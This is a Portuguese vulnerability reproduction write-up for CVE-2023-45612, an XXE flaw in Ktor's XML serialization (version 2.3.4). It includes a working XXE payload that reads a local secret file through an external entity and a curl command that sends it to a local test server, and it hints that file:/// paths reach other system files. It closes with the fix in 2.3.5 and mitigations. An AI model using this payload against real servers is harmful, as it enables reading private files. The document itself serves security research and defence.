
Reprodução de um problema de segurança de alta gravidade que permite ataques XXE (XML eXternal Entity) na serialização XML do Ktor.
O CVE-2023-45612 é um problema de segurança de alta severidade que permite ataques de XXE (XML eXternal Entity) na serialização XML do Ktor, que foi corrigido em 2023.
Abaixo está uma forma detalhada de como reproduzi o problema.
Primeiro, precisamos de um servidor que vá processar os arquivos XML. Criamos um projeto Kotlin a partir do IntelliJ IDEA e modificamos o build.gradle.kts para usar as dependências Ktor necessárias e o plugin de serialização. io.ktor:ktor-serialization-kotlinx-xml é a dependência que nos interessa. A versão 2.3.4 é a vulnerável, e a versão 2.3.5 é a corrigida.
Em seguida, adicionamos na raiz do projeto um arquivo chamado sensitive_infos.txt, destinado a ser privado e inacessível de fora do servidor. O conteúdo desse arquivo é "Estas informações devem ser secretas e não acessíveis pelo envio de um arquivo .xmf.".
Em seguida, implementamos o servidor em Main.kt. Ele foi projetado para processar o XML enviado pelo cliente, serializando-o em uma String (name) da classe Person. Então o servidor responde confirmando o nome que o cliente acabou de enviar. Após iniciar o servidor, podemos testar o uso normal e o uso malicioso:
O cliente envia um arquivo XML com seu nome e recebe uma confirmação com o nome que acabou de enviar. Podemos testar isso com o seguinte arquivo XML:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
e o comando:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
O cliente define uma entidade fornecendo uma String de substituição na forma de URI e envia o arquivo XML malicioso, então recebe o conteúdo de um arquivo secreto acessível pelo servidor. Mostro abaixo um exemplo com um arquivo (sensitive_infos.txt) que está na raiz do servidor, mas observe que você também pode possivelmente alcançar outros arquivos (se o parser XML puder acessar seu conteúdo) com, por exemplo, file:/// se o servidor estiver rodando em Linux.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
e o comando
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
O servidor responde com "Name sent: Estas informações devem ser secretas e não acessíveis pelo envio de um arquivo .xmf.", o que prova que de fato acessamos as informações secretas e, portanto, existe uma vulnerabilidade.
A propósito, alterar a versão de 2.3.4 para 2.3.5 no build.gradle.kts resolve o problema, e o servidor responde apenas "Name sent" para a entrada maliciosa, enquanto mantém uma resposta normal para a entrada normal, o que nos confirma que o problema de segurança foi resolvido na versão 2.3.5.
Nunca confie no usuário! O parser do Ktor poderia sanitizar as entradas, por exemplo, descartando todos os arquivos XML de entrada que contenham uma entidade.
Menos restritivo para o usuário, o Ktor poderia desativar entidades externas por padrão, definindo os recursos external-general-entities e external-parameter-entities como false, de modo que o usuário ainda possa declarar uma entidade em seu arquivo XML, mas essa entidade não possa mais acessar nenhum recurso externo.
Incluir testes de ataque XXE no CI/CD do Ktor para garantir que o código não esteja vulnerável a eles.